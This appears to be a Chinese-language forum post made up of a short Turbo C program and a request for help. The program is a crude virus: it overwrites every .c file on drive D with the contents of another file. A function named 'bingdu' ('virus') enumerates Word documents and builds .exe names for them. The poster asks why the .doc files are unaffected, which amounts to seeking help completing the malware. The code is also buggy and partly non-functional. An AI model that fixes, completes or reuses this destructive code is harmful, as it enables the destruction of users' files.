#include<stdio.h>
#include<dir.h>
#include<string.h>
main( )
{struct ffblk ffblk;
char *f="file1.c";
int done;
char *p;
done=findfirst("D:\\*.c",&ffblk,0);
while(!done)
{printf("%s\n",ffblk.ff_name);
copyfile(f,ffblk.ff_name);
done=findnext(&ffblk);
}
bingdu();
getch();
}
copyfile( char*f1,char*f2)
{FILE *in,*out;
char c;
in=fopen(f1,"r");
out=fopen(f2,"w");
while (!feof(in))
{c=getc(in);
putc(c,out);
}
fclose(in);
fclose(out);
}
bingdu()
{int done;
struct ffblk ffblk;
int i,d,c;
char name[30];
char name1[30];
char a[5]=".exe";
done=findfirst("D:\*.doc",&ffblk,0);
while(!done)
{strcpy(name,ffblk.ff_name);
d=strlen(name);
c=d-4;
for(i=0;i<c;i++)
name1[i]=name[i];
strcat(name1,a);
printf("%s",name1);
done=findnext(&ffblk);}
}
请高手帮忙看一下,为什么D盘word文档一点反应都没有啊!小弟先谢谢拉!